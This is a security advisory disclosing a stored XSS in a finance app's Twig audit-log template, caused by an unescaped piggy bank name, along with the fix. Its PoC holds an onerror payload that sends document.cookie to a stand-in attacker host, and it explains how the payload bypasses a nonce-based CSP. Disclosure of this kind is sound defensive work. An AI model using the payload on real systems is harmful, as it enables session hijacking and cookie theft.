GHSA-6jq6-x4cx-qvcm

## Summary

The Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

## Root Cause

The `|raw` filter is required on the outer `trans()` call to preserve `<span>` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.

**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):** ```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy })|raw }} ```

No HTML sanitization at storage time — `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.

## Data Flow

``` POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"} → Stored verbatim in piggy_banks.name → Transaction rule fires add_to_piggy / remove_from_piggy → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name → Any user views /transactions/show/{id} → ale.twig outputs unescaped payload → XSS fires ```

## CSP Note

The nonce-based CSP (`script-src 'nonce-...' 'strict-dynamic'`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `<img onerror=...>` payload bypasses the nonce requirement entirely.

## PoC

1. Authenticate as any user 2. `POST /api/v1/piggy-banks` with `"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"` 3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]" 4. Trigger the rule on any transaction 5. Visit `/transactions/show/{id}` → payload fires

**Confirmed server response (v6.6.2):** ```html Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank "<img src=x onerror=alert(document.cookie)>" ```

## Impact

- Stored XSS persists in DB — fires for every user who views the transaction - Cookie theft → session hijacking - In multi-user setups: one user attacks another user or admin - Chainable with CSRF-like operations

## Fix

PR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.

```twig {{ trans('firefly.ale_action_log_add', { amount: formatAmountBySymbol(...), name: logEntry.after.piggy|e })|raw }} ```